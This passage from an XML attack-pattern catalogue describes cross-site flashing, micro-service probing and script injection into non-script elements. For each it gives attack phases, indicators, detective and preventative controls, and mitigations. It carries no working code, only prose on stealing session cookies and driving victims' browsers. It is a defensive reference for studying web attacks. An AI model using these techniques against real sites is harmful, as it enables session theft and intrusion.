											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Apply appropriate
												configuration settings for cross domain flash
												applications in the crossdomain.xml
												file.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												configuration settings for cross domain flash
												applications inside the flash
												application.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Execute JavaScript in victim’s
											browser</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current flash
												application, he can choose to inject JavaScript in
												the client’s DOM and therefore execute cross-site
												scripting attack.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected from the rogue flash movie to the
												targeted flash application through vectors
												identified during the Experiment Phase and loaded
												by the victim's browser.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker is able to execute
												a DOM based cross-site scripting attack on the
												victim.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Apply appropriate
												configuration settings for cross domain flash
												applications in the crossdomain.xml
												file.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												configuration settings for cross domain flash
												applications inside the flash
												application.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted Flash application must reference external URLs and the
						locations thus referenced must be controllable through parameters. The Flash
						application must fail to sanitize such parameters against malicious
						manipulation. The victim must follow a crafted link created by the
						attacker.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The attacker tries to get his malicious flash movie to be executed in
							the targeted flash application. The malicious file is hosted on the
							attacker.com domain and the targeted flash application is hosted on
							example.com The crossdomain.xml file in the root of example.com allows
							all domains and no specific restriction is specified in the targeted
							flash application. When the attacker injects his malicious file in the
							vulnerable flash movie, the rogue flash application is able to access
							internal variables and parameter of the flash movie. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text> knowledge of Flash internals, parameters and remote
							referencing.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Only allow known URL to be included as remote flash movies
						in a flash application</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Configuration: Properly configure the crossdomain.xml file to only include
						the known domains that should host remote flash movies.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Externally controllable external URL references within a flash file
					(SWF).</Text>
			</Injection_Vector>
			<Payload>
				<Text>Any HTTP Request transport variables (GET, POST, Headers, etc.).</Text>
			</Payload>
			<Activation_Zone>
				<Text>Flash plugin inside the client web browser where script is executed.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Client web browser may be used to steal session data, passwords and other
						information which transit through the vulnerable flash application.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>182<!--Flash Injection-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/18.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Web</Architectural_Paradigm>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Stefano Di Paola</Reference_Author>
					<Reference_Title>Testing Flash Applications </Reference_Title>
					<Reference_Link>http://www.wisec.it/en/Docs/flash_App_testing_Owasp07.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>OWASP Testing Guide Cross-Site Flashing</Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_Link>http://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OWASP-DV-004)</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="179"
			Name="Discovering, querying, and finally calling micro-services, such as w/ AJAX"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker is able to discover and query Micro-services at a web location
						and thereby expose the Micro-services to further exploitation by gathering
						information about their implementation and function. Micro-services in web
						pages allow portions of a page to connect to the server and update content
						without needing to cause the entire page to update. This allows user
						activity to change portions of the page more quickly without causing
						disruptions elsewhere. However, these micro-services may not be subject to
						the same level of security review as other forms of content. For example, a
						micro-service that posts requests to a server that are turned into SQL
						queries may not adequately protect against SQL-injection attacks. As a
						result, micro-services may provide another vector for a range of attacks. It
						should be emphasized that the presence of micro-services does not
						necessarily make a site vulnerable to attack, but they do provide additional
						complexity to a web page and therefore may contain vulnerabilities that
						support other attack patterns.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target site must use micro-services that interact with the server and
						one or more of these micro-services must be vulnerable to some other attack
						pattern.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker usually needs to be able to invoke micro-services directly in
					order to control the parameters that are used in their attack. The attacker may
					require other resources depending on the nature of the flaw in the targeted
					micro-service.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>113<!--API Abuse/Misuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="18" Name="Embedding Scripts in Nonscript Elements"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack is a form of Cross-Site Scripting (XSS) where malicious
						scripts are embedded in elements that are not expected to host scripts such
						as image tags (&lt;img&gt;), comments in XML documents (&lt; !-CDATA-&gt;),
						etc. These tags may not be subject to the same input validation, output
						validation, and other content filtering and checking routines, so this can
						create an opportunity for an attacker to tunnel through the application's
						elements and launch a XSS attack through other elements.</Text>
					<Text>As with all remote attacks, it is important to differentiate the ability
						to launch an attack (such as probing an internal network for unpatched
						servers) and the ability of the remote attacker to collect and interpret the
						output of said attack.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Spider</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												records all entry points for inputs that happen to
												be reflected in a client-side non-script element.
												These non-script elements can be located in the HTML
												content (head, body, comments), in an HTML tag, XML,
												CSS, etc.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all non static links that are likely to have input
												parameters (through forms, URL, fragments, etc.)
												actively used by the Web application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all links visited
												during a manual traversal of the web
												application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>At least one input is reflected in a
												non-script element.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path and still used in a non-script
												element.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters (POST, GET, COOKIE, etc.)
												is created by the attacker. These parameters are
												all used in, possibly, client-side non-scripts
												elements.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of application user
												interface entry fields is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe identified potential entry points
											for XSS vulnerability</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the entry points gathered in the
												"Explore" phase as a target list and injects various
												common script payloads to determine if an entry
												point actually represents a vulnerability and to
												characterize the extent to which the vulnerability
												can be exploited.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manually inject various script payloads into
												each identified entry point using a list of common
												script injection probes that typically work in a
												client-side non-script elements context and
												observe system behavior to determine if script was
												executed. Since these probes may have to be
												injected in many different types of non-script
												elements, they should cover a variety of possible
												contexts (CSS, HTML tag, XML, etc.).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use an automated injection attack tool to
												inject various script payloads into each
												identified entry point using a list of common
												script injection probes that typically work in a
												client-side non-script elements context and
												observe system behavior to determine if script was
												executed. Since these probes may have to be
												injected in many different types of non-script
												elements, they should cover a variety of possible
												contexts (CSS, HTML tag, XML, etc.).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results of the
												created requests.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>User-controllable input is output back to
												the browser</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Output to the browser is not encoded to
												remove executable scripting syntax.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's script string is
												being reflected verbatim at some point in the web
												site (if not on the same page). Note that
												sometimes, the payload might be well encoded in
												the page, but wouldn't be encoded at all in some
												other section of the same web page (title,
												etc.)</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>All context-sensitive
												characters are consistently re-encoded before
												being sent to the web browser. For example, in a
												HTML tag element, the payload may not be able to
												evade the quotes in order to inject another
												attribute.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Inconclusive">
												<Outcome_Description>Some sensitive characters are
												consistently encoded, but others are not.
												Depending on which type of non-script element the
												payload is injected in, it may be possible to
												evade the encodings.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor input to web
												servers (not only GET, but all potential inputs
												like COOKIES, POST, HEADER), application servers,
												and other HTTP infrastructure (e.g., load
												balancers). Alert on standard XSS probes. The
												majority of attackers use well known strings to
												check for vulnerabilities. Use the same
												vulnerability catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Steal session IDs, credentials, page
											content, etc.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>As the attacker succeeds in exploiting the
												vulnerability, he can choose to steal user's
												credentials in order to reuse or to analyze them
												later on.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and sends document information to the
												attacker.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute
												appropriately.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets the user's
												cookies or other session
												identifiers.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker gets the content
												of the page the user is
												viewing.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The attacker causes the user's
												browser to visit a page with malicious
												content.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Forceful browsing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>When the attacker targets the current application
												or another one (through CSRF vulnerabilities), the
												user will then be the one who perform the attacks
												without being aware of it. These attacks are mostly
												targeting application logic flaws, but it can also
												be used to create a widespread attack against a
												particular website on the user's current network
												(Internet or not).</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and performs actions on the same web
												site</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that injected
												through vectors identified during the Experiment
												Phase and takes commands from an attacker's server
												and then causes the browser to execute request to
												other web sites (especially the web applications
												that have CSRF vulnerabilities).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker indirectly
												controls the user's browser and makes it
												performing actions exploiting
												CSRF.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>The attacker manipulates the
												browser through the steps that he designed in his
												attack. The user, identified on a website, is now
												performing actions he is not aware
												of.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Content spoofing</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>By manipulating the content, the attacker targets
												the information that the user would like to get from
												the website.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Develop malicious JavaScript that is
												injected through vectors identified during the
												Experiment Phase and loaded by the victim's
												browser and exposes attacker-modified invalid
												information to the user on the current web
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The user sees a page containing
												wrong information</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for scripting
												parameters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. If users are being tricked into
												clicking XSS links through forums or other web
												postings, their web browsers will be providing
												Referrer headers most of the time. These can help
												indicate that the actual request is
												illegitimate.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Apply appropriate
												input validation to filter all user-controllable
												input of scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Appropriately encode
												all browser output to avoid scripting
												syntax</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be generating XSS
												probes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target client software must be a client that allows script execution based
						on scripts generated by remote hosts.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In this example, the attacker adds script to HTML tags other than
							&lt;script&gt; tags, when the victim's standard content is appended with
							a malicious script. For example a link to
							http://myfavoritewebsite/getMyHomePage/content?malciousscript.js</Text>
						<Text>The victim clicks on the link, which directs them to their home page
							(so that the victim does not notice anything is amiss) and
							simultaneously executes a script on their machine.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To achieve a redirection and use of less trusted source, an attacker
							can simply edit content such as XML payload or HTML files that are sent
							to client machine.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Exploiting a client side vulnerability to inject malicious scripts
							into the browser's executable process.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to include malicious script in document, e.g. HTML file, or XML
					document. Ability to deploy a custom hostile service for access by targeted
					clients. Ability to communicate synchronously or asynchronously with client
					machine</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as Javascript in
						browser</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Session tokens for specific host</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Service provider should not use the XMLHttpRequest method
						to create a local proxy for content from other sites, because the client
						will not be able to discern what content comes from which host.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through standard document formats, e.g. XML document
					or HTML file to the client.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Varies with instantiation of attack pattern. In the case of HTML files they
					may not be visible to the end user via a browser.</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client software and its component libraries</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute scripts to launch attacks on remote client
						machine and environment</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>80<!--Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>83<!--Improper Neutralization of Script in Attributes in a Web Page--></CWE_ID>

